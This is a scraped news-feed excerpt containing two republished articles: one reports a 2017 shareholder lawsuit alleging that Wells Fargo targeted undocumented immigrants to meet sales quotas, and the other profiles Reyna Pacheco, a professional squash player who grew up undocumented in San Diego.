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]]> https://briefnews.eu/report-many-undocumented-immigrants-recently-rounded-up-by-ice-agents-had-no-criminal-convictions/feed/ 0 A Lawsuit Claims Wells Fargo Targeted Undocumented Immigrants to Hit Sales Quotas https://briefnews.eu/a-lawsuit-claims-wells-fargo-targeted-undocumented-immigrants-to-hit-sales-quotas/ https://briefnews.eu/a-lawsuit-claims-wells-fargo-targeted-undocumented-immigrants-to-hit-sales-quotas/#respond Fri, 28 Apr 2017 00:51:37 +0000 http://briefnews.eu/a-lawsuit-claims-wells-fargo-targeted-undocumented-immigrants-to-hit-sales-quotas/ On Wednesday, yet another lawsuit was filed against Wells Fargo, and it contained some troubling allegations. The suit, filed by a Wells Fargo shareholder named William Sarsfield, in the San Francisco Superior Court, alleges that in an attempt to meet sales goals for opening new accounts, the bank’s employees took advantage of undocumented immigrants by specifically targeting them as customers.

This is one of a litany of lawsuits being filed against Wells Fargo, which is not unexpected given that near the end of last year, it was revealed that its employees had allowed the creation of as many as 2 million fake accounts as they tried to keep up with the bank’s demanding sales quotas. That’s left customers, regulators, employees, and shareholders understandably peeved.

In general, these lawsuits seek restitution for damage done to those whose names the fake accounts were opened in, as well as punishment for the negligence of the bank and its leaders. This new suit alleges that employees were engaged in dubious customer-recruitment practices at the behest of bank managers, including getting undocumented workers to open checking accounts in exchange for check-cashing waivers and sending Latino and Latina tellers to “force” people on the street and at Social Security offices to sign up for accounts. The lawsuit also alleges that Wells Fargo employees sought out undocumented workers at convenience stores and construction sites, as well as going to college campuses with pre-filled account application forms, getting students to sign, and later using the signatures to open unauthorized accounts. Lastly, the documents claim that a manager who attempted to report illegal activity to the company’s internal ethics hotline was reprimanded and told to “play ball or get out.”

In a statement, a spokesperson for Wells Fargo called the assertions of the lawsuit “offensive,” adding, “They run counter to the expectations of Wells Fargo, and would be a violation of policies we have in place to safeguard against abuses.” Wells Fargo also denies any illegal actions named in the new lawsuit. The bank has also said that it stands behind its commitment to provide financial services to undocumented immigrants, and had come across no evidence suggesting that people with alternative documentation (such as consular cards) had been targeted for fake accounts.

By filing the suit, Sarsfield is trying to show that the bank’s leadership willfully ignored signs of systemic problems, and hopes to collect damages and see the leadership punished. He also has another lawsuit pending against the executives and board members at the helm of Wells Fargo at the time of the fake-account scandal. Just last week, though, shareholders collectively, albeit narrowly, voted to keep the company’s existing board members, the majority of whom held seats during the scandal.

Wells Fargo did not say whether it will specifically investigate the new claims being leveled by Sarsfield and his lawyers. Even before the latest accusations, the bank was busy trying to rebuild its reputation and its profitability, both of which have taken a hit in the wake of the fake-account scandal.

Business | The Atlantic

]]> https://briefnews.eu/a-lawsuit-claims-wells-fargo-targeted-undocumented-immigrants-to-hit-sales-quotas/feed/ 0 The Squash Pro Who Grew Up an Undocumented Immigrant https://briefnews.eu/the-squash-pro-who-grew-up-an-undocumented-immigrant/ https://briefnews.eu/the-squash-pro-who-grew-up-an-undocumented-immigrant/#respond Sun, 09 Apr 2017 08:09:09 +0000 http://briefnews.eu/the-squash-pro-who-grew-up-an-undocumented-immigrant/ If you’re 4-foot-10, you better be good on the volley. As her opponent — the best female player in history — plays another immaculately placed high service, Reyna Pacheco swats the ball out of the air, high on her backhand in the back corner of the court — one of the most technically challenging shots in the game. She manages to out-maneuver her illustrious opponent, only to err when going for the drop shot that would have won her the point. Pacheco looks up into the crowd at nobody in particular, saying “Come on!” to herself, as she wipes the sweat off her hand on the glass back wall of the court.

Meanwhile, an overweight 50-something man with a monogrammed towel around his waist waddles behind the glass, wondering why tiered seating and cameramen are blocking his path to the sauna. This is squash, after all, and even at the world-class level, tournaments begin in a country club.

Reyna 2329

There were no squash courts, or country clubs, in inner-city San Diego, where 22-year-old Pacheco grew up. She immigrated to the United States from Mexico at the age of 4 with her mother and brother, and was undocumented until age 18. Pacheco got a green card just in time to enroll at Columbia University, where she attended on a Bill and Melinda Gates Millennium scholarship for her academic and personal achievements. In New York, she helped the Lions reach the D1 A Finals for the first (and then second) time in the young varsity program’s history. After graduating in May — becoming a U.S. citizen the same week — she became the first alumna of an “urban squash” program to turn professional in the only sport she’s ever played. She’s now ranked No. 76 in the world, and rising.

She ultimately lost that match against eight-time world championNicol David. The legendary David, 11 years her senior, praises Pacheco’s potential: “Her passion and determination will show through,” David told us.

At 14, Pacheco fought with another girl physically at school and was nearly expelled. “I was a brat,” she admits. The principal gave Pacheco a talking-to: At least the girl Pacheco sparred with was making something of her life — she was attending the pilot version of a new urban squash program … why couldn’t Reyna give something like that a try? Pacheco agreed to attend tryouts, if only for the free sports gear. She wasn’t a standout player from Day One, but coach Renato Paiva saw “untapped leadership potential” in the girl most at her school had written off, and visited Pacheco’s family to not only invite her to the program, but also to ask her to become team captain. Paiva recalls that there were no chairs in the house, so he sat on an upturned bucket. Pacheco’s mother and stepfather don’t speak English, and their combined salaries as a construction worker and fast-food server were barely enough to feed five children.

The urban squash movement, like similar efforts in sports like baseball, aims to expand the sport’s appeal through grassroots educational programs in poor urban areas. The first such program started in 1995 in Boston, and there are now 19 city-based programs nationwide.Rather than favoring particular natural physical characteristics, squash rewards hours of repetitive training drills and extreme fitness. The style of slog suited Pacheco. After enrolling in the program at age 14,she began waking up at 4 a.m. every morning to ride three hours’ worth of buses to the squash club to play a match before school. Post-classes, she grunted through a coaching session with Paiva, afterward often staying an extra three hours at the courts. “The drive on that girl is absolutely amazing,” Paiva says. In college, she worked part time to support herself and even now fits a part-time research job around her training schedule to help with cash flow.

Pacheco’s biggest fear for most of her junior career was her documentation status. “I cried almost every night, thinking how can I want this so badly,” she says, “and yet know that there’s a legal impossibility to it.” Much of the elite junior squash circuit takes place internationally, meaning Pacheco missed many opportunities. She was unable to fly to England or the Netherlands for top-level junior tournaments, and as a noncitizen, she couldn’t even play in the U.S. championships.

#2

To be sure, a tough climb remains ahead. The key to succeeding in professional squash, says Amanda Sobhy, seventh in the world and the highest-ranked American squash player of all time, is surrounding oneself “with a good team of people such as squash coaches, a fitness coach, mental coach, physiotherapist and so on.” This is proving particularly difficult for Pacheco, who is not quite ranked high enough for U.S. Squash’s Elite Athlete Program, which provides financial support for coaching, health care and travel, and also assists players with schedule management.In the meantime, Pacheco must be her own manager and fundraiser. “There’s not a lot of money in squash,” says Kim Clearkin, director of national championships at U.S. Squash, “so for someone like Reyna, it’s very difficult.”

Pacheco has a plan B: She wants to become a diplomat. Her squash career is preparing her well, allowing her to tour through tournaments in China, Australia, France and elsewhere. She even headed to Switzerland as a member of squash’s four-strong delegation to the International Olympic Committee to lobby (unsuccessfully) for the sport’s Olympic inclusion. Winning on court tastes sweet, but making trips like that, being able to cross the U.S. border stress-free, American passport in hand, tastes even sweeter.

The highlight of her career so far? Finally being given a USA shirt, which had been a legal challenge rather than a sporting one. “All I wanted to do was tear up,” she says. “Everyone else had like 10!”

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